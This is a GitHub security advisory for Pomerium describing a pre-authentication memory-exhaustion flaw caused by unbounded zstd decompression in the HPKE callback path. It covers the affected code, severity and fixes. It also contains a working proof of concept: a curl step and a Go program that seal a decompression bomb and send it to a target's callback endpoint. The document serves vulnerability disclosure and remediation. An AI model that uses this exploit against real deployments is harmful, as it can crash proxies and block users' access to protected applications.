GHSA-ggw3-5987-rx77
Pomerium Pre-Auth Memory Exhaustion via Unbounded zstd Decompression in HPKE Callback
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/pomerium/pomerium | >= 0.32.6, < 0.32.8 | 0.32.8 |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
The HPKE V2 URL decode path in `pkg/hpke/url.go` decompresses attacker-controlled zstd data without any size limit. On Pomerium deployments using the stateless authentication flow (Pomerium Zero / hosted authenticate), the proxy's `/.pomerium/callback` endpoint is reachable without credentials and processes attacker-crafted HPKE-encrypted payloads before the sender's identity is validated. Because Pomerium's HPKE receiver public key is publicly served, an attacker can encrypt a decompression bomb, deliver it to the callback endpoint, and cause unbounded memory allocation — crashing or degrading the proxy process.
## Severity
**High** (CVSS 3.1: 7.5)
`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
- **Attack Vector:** Network — the `/.pomerium/callback` route on the proxy service is externally reachable.
- **Attack Complexity:** Low — the receiver public key is publicly available at `/.well-known/pomerium/hpke-public-key`; no special conditions apply.
- **Privileges Required:** None — the callback endpoint is intentionally pre-authentication (it is the OAuth landing page).
- **User Interaction:** None
- **Scope:** Unchanged — the DoS is confined to the Pomerium proxy process itself.
- **Confidentiality Impact:** None
- **Integrity Impact:** None
- **Availability Impact:** High — repeated attacks can exhaust process memory and crash the proxy.
## Affected Component
- `pkg/hpke/url.go` — `decodeQueryStringV2` (line 171)
- `internal/authenticateflow/stateless.go` — `Callback` (line 385–393)
- `proxy/handlers.go` — `Callback` (line 105–107), route registered at line 53–54
## CWE
- **CWE-400**: Uncontrolled Resource Consumption
- **CWE-1284**: Improper Validation of Specified Quantity in Input
## Description
### Unbounded zstd Decompression in `decodeQueryStringV2`
`pkg/hpke/url.go` defines two decoders. The V1 path is plaintext. The V2 path zstd-compresses the query string before encryption. Decoding reverses this with no output size cap (`url.go:166–176`):
```go
var zstdDecoder, _ = zstd.NewReader(nil,
zstd.WithDecoderLowmem(true),
)
func decodeQueryStringV2(raw []byte) (url.Values, error) {
bs, err := zstdDecoder.DecodeAll(raw, nil) // no size limit
if err != nil {
return nil, err
}
return url.ParseQuery(string(bs))
}
```
`WithDecoderLowmem(true)` reduces the decoder's own memory footprint but applies no cap on the output. A 19 KB input can produce 128 MiB of output; a 38 KB input can produce 256 MiB.
By contrast, the codebase applies `LimitReader` when decompressing in `internal/zero/api/download.go:75`:
```go
r = io.LimitReader(zr, maxUncompressedBlobSize) // 1 GB cap
```
The protection is available but not applied to `decodeQueryStringV2`, confirming this is an inconsistent defense.
### HPKE Does Not Block the Attack — Sender Validation Is Too Late
`DecryptURLValues` for the V2 format (`url.go:107–126`):
```go
case IsEncryptedURLV2(encrypted):
senderPublicKey, err = PublicKeyFromString(encrypted.Get(paramSenderPublicKeyV2)) // attacker-controlled
// ...
sealed, err := decode(encrypted.Get(paramQueryV2))
// ...
message, err := Open(receiverPrivateKey, senderPublicKey, sealed) // HPKE decrypt — succeeds
// ...
decrypted, err = decodeQueryStringV2(message) // zstd decompress — UNBOUNDED
```
`Open` uses `SetupAuth` (HPKE authenticated mode). It only verifies that `sealed` was created with a key pair whose public half is `senderPublicKey`. Because the attacker supplies both `k` (sender public key) and `q` (sealed payload), they choose a consistent key pair themselves. The `Open` call succeeds with their own freshly-generated keys.
Sender identity is validated **after** `DecryptURLValues` returns (`stateless.go:391–397`):
```go
senderPublicKey, values, err := hpke.DecryptURLValues(s.hpkePrivateKey, r.Form)
// ... zstd already completed ...
err = s.validateSenderPublicKey(r.Context(), senderPublicKey) // now rejects attacker
```
The decompression memory spike occurs unconditionally before rejection.
### Pre-Auth Execution Chain on the Proxy Callback
The proxy registers the callback route without any session or signature middleware (`proxy/handlers.go:53–54`):
```go
c := r.PathPrefix(endpoints.PathPomeriumCallback).Subrouter()
c.Path("/").Handler(httputil.HandlerFunc(p.Callback)).Methods(http.MethodGet)
```
For Stateless-flow deployments, `p.Callback` → `authenticateflow.Stateless.Callback` → `hpke.DecryptURLValues` (unbounded decompress) → `validateSenderPublicKey` (rejects). This is by design: the callback endpoint must be pre-auth because it is the landing page after an IdP OAuth redirect.
Pomerium's HPKE receiver public key is served publicly and without authentication (`internal/controlplane/http.go:82`):
```go
root.Path(endpoints.PathHPKEPublicKey).Methods(http.MethodGet).Handler(
traceHandler(hpke_handlers.HPKEPublicKeyHandler(hpkePublicKey)))
```
The full attack requires no credentials of any kind.
**Self-hosted (Stateful) deployments are NOT affected.** The stateful `Callback` calls `s.VerifySignature(r)` as its very first operation, verifying an HMAC-SHA256 signature over the URL before touching the body. If the signature is missing or invalid, the function returns immediately without decrypting or decompressing anything.
## Proof of Concept
```bash
# Step 1: Retrieve the receiver public key
curl -so receiver.pub "https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key" | xxd | head
# Step 2: Build and send the decompression bomb (requires Go)
```
```go
package main
import (
"encoding/base64"
"fmt"
"net/http"
"net/url"
"strings"
"github.com/klauspost/compress/zstd"
"github.com/pomerium/pomerium/pkg/hpke"
)
func main() {
// Fetch receiver public key from the target
resp, _ := http.Get("https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key")
pubBytes := make([]byte, 32)
resp.Body.Read(pubBytes)
resp.Body.Close()
receiverPub, _ := hpke.PublicKeyFromBytes(pubBytes)
// Attacker generates their own sender key pair
attackerPriv, _ := hpke.GeneratePrivateKey()
// Build a decompression bomb: 128 MiB of repeated bytes → ~19 KB compressed
plain := "x=" + strings.Repeat("A", 128*1024*1024)
enc, _ := zstd.NewWriter(nil)
compressed := enc.EncodeAll([]byte(plain), nil)
// Seal the bomb with attacker's private key → server's public key
sealed, _ := hpke.Seal(attackerPriv, receiverPub, compressed)
form := url.Values{
"k": {attackerPriv.PublicKey().String()},
"q": {base64.RawURLEncoding.EncodeToString(sealed)},
}
// Deliver to the pre-auth callback endpoint
target := "https://TARGET_HOSTNAME/.pomerium/callback/?" + form.Encode()
fmt.Printf("Sending bomb to: %s\n", target)
http.Get(target)
fmt.Println("Done — server allocated ~256 MB per request")
}
```
Repeated calls amplify the effect proportionally. The server-side rejection from `validateSenderPublicKey` does not prevent the allocation.
## Impact
- **Pre-auth denial of service** against any Pomerium proxy using the hosted/stateless authenticate flow (Pomerium Zero / `authenticate.pomerium.app`).
- An attacker who can reach the proxy can allocate hundreds of megabytes of server memory per HTTP request by sending a ~20–40 KB payload.
- Sustained attack with concurrent requests can exhaust available memory and crash the proxy process, blocking all user access to every application protected by that Pomerium deployment.
- No credentials, session cookies, or insider access required — only network reachability to the proxy's HTTPS port.
## Recommended Remediation
### Option 1: Cap decompressed output size in `decodeQueryStringV2` (preferred)
Apply a reasonable upper bound on the decompressed query string. Legitimate HPKE-encrypted query strings contain URL parameters (redirect URIs, scopes, timestamps) and are never more than a few hundred kilobytes:
```go
const maxDecompressedQuerySize = 1 << 20 // 1 MiB — generous for any real query string
func decodeQueryStringV2(raw []byte) (url.Values, error) {
bs, err := zstdDecoder.DecodeAll(raw, nil)
if err != nil {
return nil, err
}
if len(bs) > maxDecompressedQuerySize {
return nil, fmt.Errorf("hpke: decompressed query string exceeds maximum size (%d bytes)", len(bs))
}
return url.ParseQuery(string(bs))
}
```
This fixes the root cause at the lowest layer and protects all callers unconditionally.
### Option 2: Validate sender public key before decompressing
Restructure `DecryptURLValues` so the sender's public key is compared against the known authenticate service key before the decompression step is reached. This requires passing the expected public key into `DecryptURLValues` or splitting the decrypt and decompress steps:
```go
// In Stateless.Callback, before calling DecryptURLValues:
senderPublicKey, _ := PublicKeyFromString(r.Form.Get("k"))
if err := s.validateSenderPublicKey(r.Context(), senderPublicKey); err != nil {
return err // reject before decompression
}
// then proceed with decryption and decompression
```
This eliminates the DoS attack path entirely for the callback endpoint but does not fix the underlying missing bound in `decodeQueryStringV2`, leaving other current or future callers at risk.
## Credit
This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).
References
External links from the advisory. They lead to third-party sites.